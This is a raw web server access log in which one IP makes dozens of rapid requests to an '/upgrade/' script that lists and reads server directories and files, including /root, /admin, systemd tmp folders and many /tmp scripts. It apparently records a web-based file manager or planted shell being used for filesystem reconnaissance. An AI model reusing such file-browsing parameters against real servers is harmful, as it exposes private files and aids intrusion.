45.135.193.11 - - [11/Sep/2026:23:05:23 -0400] "GET /upgrade/index.php?full_path=%2F&location=%2F HTTP/1.1" 200 7697 "http://163.245.207.76:443/upgrade/index.php?full_path=%2F&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:23 -0400] "GET /upgrade/?location=%2Fadmin%2F&option=folder HTTP/1.1" 200 5733 "http://163.245.207.76:443/upgrade/?location=%2Fadmin%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:23 -0400] "GET /upgrade/?full_path=%2Fadmin&location=%2F HTTP/1.1" 200 7717 "http://163.245.207.76:443/upgrade/?full_path=%2Fadmin&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:23 -0400] "GET /upgrade/?full_path=%2Fadmin&location=%2Fadmin%2F HTTP/1.1" 200 5736 "http://163.245.207.76:443/upgrade/?full_path=%2Fadmin&location=%2Fadmin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:23 -0400] "GET /upgrade/?location=%2Fadmin%2F HTTP/1.1" 200 5725 "http://163.245.207.76:443/upgrade/?location=%2Fadmin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:23 -0400] "GET /upgrade/index.php?location=%2Fadmin%2F HTTP/1.1" 200 5725 "http://163.245.207.76:443/upgrade/index.php?location=%2Fadmin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:23 -0400] "GET /upgrade/?full_path=%2Fmedia&location=%2F HTTP/1.1" 200 7708 "http://163.245.207.76:443/upgrade/?full_path=%2Fmedia&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:24 -0400] "GET /upgrade/?location=%2Fmedia%2F HTTP/1.1" 200 5697 "http://163.245.207.76:443/upgrade/?location=%2Fmedia%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:24 -0400] "GET /upgrade/index.php?location=%2Fmedia%2F HTTP/1.1" 200 5691 "http://163.245.207.76:443/upgrade/index.php?location=%2Fmedia%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:24 -0400] "GET /upgrade/?full_path=%2Fmedia&location=%2Fmedia%2F HTTP/1.1" 200 5708 "http://163.245.207.76:443/upgrade/?full_path=%2Fmedia&location=%2Fmedia%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:24 -0400] "GET /upgrade/?location=%2Fmedia%2F&option=folder HTTP/1.1" 200 5705 "http://163.245.207.76:443/upgrade/?location=%2Fmedia%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:24 -0400] "GET /upgrade/?location=%2Froot%2F&option=folder HTTP/1.1" 200 5737 "http://163.245.207.76:443/upgrade/?location=%2Froot%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:24 -0400] "GET /upgrade/?full_path=%2Froot&location=%2F HTTP/1.1" 200 7723 "http://163.245.207.76:443/upgrade/?full_path=%2Froot&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:24 -0400] "GET /upgrade/?full_path=%2Froot&location=%2Froot%2F HTTP/1.1" 200 5732 "http://163.245.207.76:443/upgrade/?full_path=%2Froot&location=%2Froot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:24 -0400] "GET /upgrade/?location=%2Froot%2F HTTP/1.1" 200 5723 "http://163.245.207.76:443/upgrade/?location=%2Froot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:24 -0400] "GET /upgrade/index.php?location=%2Froot%2F HTTP/1.1" 200 5724 "http://163.245.207.76:443/upgrade/index.php?location=%2Froot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:24 -0400] "GET /upgrade/?location=%2Ftmp%2Fsystemd-private-ca77e09721aa4fcf9ffff7e345728903-ea-php82-php-fpm.service-q7F1D3 HTTP/1.1" 200 5842 "http://163.245.207.76:443/upgrade/?location=%2Ftmp%2Fsystemd-private-ca77e09721aa4fcf9ffff7e345728903-ea-php82-php-fpm.service-q7F1D3" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:24 -0400] "GET /upgrade/?location=%2Ftmp%2Fsystemd-private-ca77e09721aa4fcf9ffff7e345728903-kdump.service-B6YZbO HTTP/1.1" 200 5828 "http://163.245.207.76:443/upgrade/?location=%2Ftmp%2Fsystemd-private-ca77e09721aa4fcf9ffff7e345728903-kdump.service-B6YZbO" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:24 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Finstall_wp_request_htaccess_protection.py&location=%2Ftmp%2F HTTP/1.1" 200 11706 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Finstall_wp_request_htaccess_protection.py&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:24 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fpossibility-final-_&location=%2Ftmp%2F HTTP/1.1" 200 11945 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fpossibility-final-_&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:24 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fpossibility-final-_index_php&location=%2Ftmp%2F HTTP/1.1" 200 10767 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fpossibility-final-_index_php&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:24 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fwpmm-port111-guard.service.candidate&location=%2Ftmp%2F HTTP/1.1" 200 10269 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fwpmm-port111-guard.service.candidate&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:24 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fwpmm-watchdog-dedi3.json&location=%2Ftmp%2F HTTP/1.1" 200 10204 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fwpmm-watchdog-dedi3.json&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:25 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fwpmm-watchdog-monitoring-v2&location=%2Ftmp%2F HTTP/1.1" 200 17041 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fwpmm-watchdog-monitoring-v2&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:25 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fwpmm-watchdog.autoblock&location=%2Ftmp%2F HTTP/1.1" 200 22984 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fwpmm-watchdog.autoblock&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:25 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Finstall_auto_bclass_block_target.sh&location=%2Ftmp%2F HTTP/1.1" 200 11691 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Finstall_auto_bclass_block_target.sh&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:25 -0400] "GET /upgrade/?location=%2Ftmp%2Fsystemd-private-ca77e09721aa4fcf9ffff7e345728903-irqbalance.service-Ciqla8 HTTP/1.1" 200 5838 "http://163.245.207.76:443/upgrade/?location=%2Ftmp%2Fsystemd-private-ca77e09721aa4fcf9ffff7e345728903-irqbalance.service-Ciqla8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:25 -0400] "GET /upgrade/?location=%2Ftmp%2Fsystemd-private-ca77e09721aa4fcf9ffff7e345728903-pdns.service-xO0yHj HTTP/1.1" 200 5833 "http://163.245.207.76:443/upgrade/?location=%2Ftmp%2Fsystemd-private-ca77e09721aa4fcf9ffff7e345728903-pdns.service-xO0yHj" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:25 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Finstall_port111_guard_target.sh&location=%2Ftmp%2F HTTP/1.1" 200 11033 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Finstall_port111_guard_target.sh&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:25 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fverify_auto_bclass_safety.sh&location=%2Ftmp%2F HTTP/1.1" 200 11026 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fverify_auto_bclass_safety.sh&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:25 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fwpmm-v3-report.json&location=%2Ftmp%2F HTTP/1.1" 200 13504 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fwpmm-v3-report.json&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:25 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fwpmm-watchdog-monitoring&location=%2Ftmp%2F HTTP/1.1" 200 16962 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fwpmm-watchdog-monitoring&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:25 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fverify_request_protection_target.py&location=%2Ftmp%2F HTTP/1.1" 200 11331 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fverify_request_protection_target.py&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:25 -0400] "GET /upgrade/?full_path=%2Ftmp&location=%2Ftmp%2F HTTP/1.1" 200 10017 "http://163.245.207.76:443/upgrade/?full_path=%2Ftmp&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:25 -0400] "GET /upgrade/?location=%2Ftmp%2Flshttpd HTTP/1.1" 200 5761 "http://163.245.207.76:443/upgrade/?location=%2Ftmp%2Flshttpd" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:25 -0400] "GET /upgrade/?location=%2Ftmp%2Fsystemd-private-ca77e09721aa4fcf9ffff7e345728903-chronyd.service-iRpFK7 HTTP/1.1" 200 5830 "http://163.245.207.76:443/upgrade/?location=%2Ftmp%2Fsystemd-private-ca77e09721aa4fcf9ffff7e345728903-chronyd.service-iRpFK7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:25 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fpossibility-permission-fix&location=%2Ftmp%2F HTTP/1.1" 200 13510 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fpossibility-permission-fix&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:26 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fpossibility-verify-_wp-login_php&location=%2Ftmp%2F HTTP/1.1" 200 10773 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fpossibility-verify-_wp-login_php&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:26 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fwpmm-httpd-reload.out&location=%2Ftmp%2F HTTP/1.1" 200 12305 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fwpmm-httpd-reload.out&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:26 -0400] "GET /upgrade/?location=%2Ftmp%2Fsystemd-private-ca77e09721aa4fcf9ffff7e345728903-ea-php82-php-fpm.service-ybHSbN HTTP/1.1" 200 5842 "http://163.245.207.76:443/upgrade/?location=%2Ftmp%2Fsystemd-private-ca77e09721aa4fcf9ffff7e345728903-ea-php82-php-fpm.service-ybHSbN" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:26 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Finstall_dedi3_rpcbind_protection.sh&location=%2Ftmp%2F HTTP/1.1" 200 10758 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Finstall_dedi3_rpcbind_protection.sh&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:26 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fpossibility-local-body&location=%2Ftmp%2F HTTP/1.1" 200 11760 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fpossibility-local-body&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:26 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fpossibility-php-body&location=%2Ftmp%2F HTTP/1.1" 200 10753 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fpossibility-php-body&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:26 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fwpmm-firewall-dedi3.candidate&location=%2Ftmp%2F HTTP/1.1" 200 12871 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fwpmm-firewall-dedi3.candidate&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:26 -0400] "GET /upgrade/?location=%2Ftmp%2F HTTP/1.1" 200 10003 "http://163.245.207.76:443/upgrade/?location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:26 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fpossibility-home-after-restart&location=%2Ftmp%2F HTTP/1.1" 200 11957 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fpossibility-home-after-restart&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:26 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fwpmm-apache-configtest.out&location=%2Ftmp%2F HTTP/1.1" 200 10109 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fwpmm-apache-configtest.out&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:26 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fwpmm-port111-guard.candidate&location=%2Ftmp%2F HTTP/1.1" 200 10418 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fwpmm-port111-guard.candidate&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:26 -0400] "GET /upgrade/?full_path=%2Ftmp&location=%2F HTTP/1.1" 200 7729 "http://163.245.207.76:443/upgrade/?full_path=%2Ftmp&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:26 -0400] "GET /upgrade/?location=%2Ftmp%2F&option=dir HTTP/1.1" 200 10013 "http://163.245.207.76:443/upgrade/?location=%2Ftmp%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:26 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fother-body&location=%2Ftmp%2F HTTP/1.1" 200 10072 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fother-body&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:27 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fpossibility-verify-_index_php&location=%2Ftmp%2F HTTP/1.1" 200 10769 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fpossibility-verify-_index_php&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:27 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fwpmm-preflight.stderr&location=%2Ftmp%2F HTTP/1.1" 200 10079 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fwpmm-preflight.stderr&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:27 -0400] "GET /upgrade/?location=%2Ftmp%2Fsystemd-private-ca77e09721aa4fcf9ffff7e345728903-systemd-logind.service-PDQ6FF HTTP/1.1" 200 5834 "http://163.245.207.76:443/upgrade/?location=%2Ftmp%2Fsystemd-private-ca77e09721aa4fcf9ffff7e345728903-systemd-logind.service-PDQ6FF" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:27 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Ffind_publisher_ip.py&location=%2Ftmp%2F HTTP/1.1" 200 10079 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Ffind_publisher_ip.py&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:27 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fwpmm-watchdog.service.candidate&location=%2Ftmp%2F HTTP/1.1" 200 10264 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fwpmm-watchdog.service.candidate&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:27 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fwpmm-watchdog.timer.candidate&location=%2Ftmp%2F HTTP/1.1" 200 10251 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fwpmm-watchdog.timer.candidate&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:27 -0400] "GET /upgrade/?location=%2Ftmp%2Fsystemd-private-ca77e09721aa4fcf9ffff7e345728903-dbus-broker.service-mWwJQf HTTP/1.1" 200 5840 "http://163.245.207.76:443/upgrade/?location=%2Ftmp%2Fsystemd-private-ca77e09721aa4fcf9ffff7e345728903-dbus-broker.service-mWwJQf" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:27 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fwpmm-curl-body&location=%2Ftmp%2F HTTP/1.1" 200 15160 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fwpmm-curl-body&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:27 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fwpmm-watchdog-monitoring-v3&location=%2Ftmp%2F HTTP/1.1" 200 19501 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fwpmm-watchdog-monitoring-v3&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:27 -0400] "GET /upgrade/?location=%2Ftmp%2F&option=file HTTP/1.1" 200 10046 "http://163.245.207.76:443/upgrade/?location=%2Ftmp%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:27 -0400] "GET /upgrade/?location=%2Ftmp%2F&option=folder HTTP/1.1" 200 10129 "http://163.245.207.76:443/upgrade/?location=%2Ftmp%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:27 -0400] "GET /upgrade/?location=%2Ftmp%2Fsystemd-private-ca77e09721aa4fcf9ffff7e345728903-irqbalance.service-KqdlIp HTTP/1.1" 200 5838 "http://163.245.207.76:443/upgrade/?location=%2Ftmp%2Fsystemd-private-ca77e09721aa4fcf9ffff7e345728903-irqbalance.service-KqdlIp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:27 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fpossibility-final-_wp-login_php&location=%2Ftmp%2F HTTP/1.1" 200 10771 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fpossibility-final-_wp-login_php&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:27 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fpossibility-title&location=%2Ftmp%2F HTTP/1.1" 200 10748 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fpossibility-title&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:27 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fverify_watchdog_extended_target.sh&location=%2Ftmp%2F HTTP/1.1" 200 10701 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fverify_watchdog_extended_target.sh&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:27 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fdiag-body&location=%2Ftmp%2F HTTP/1.1" 200 10736 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fdiag-body&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
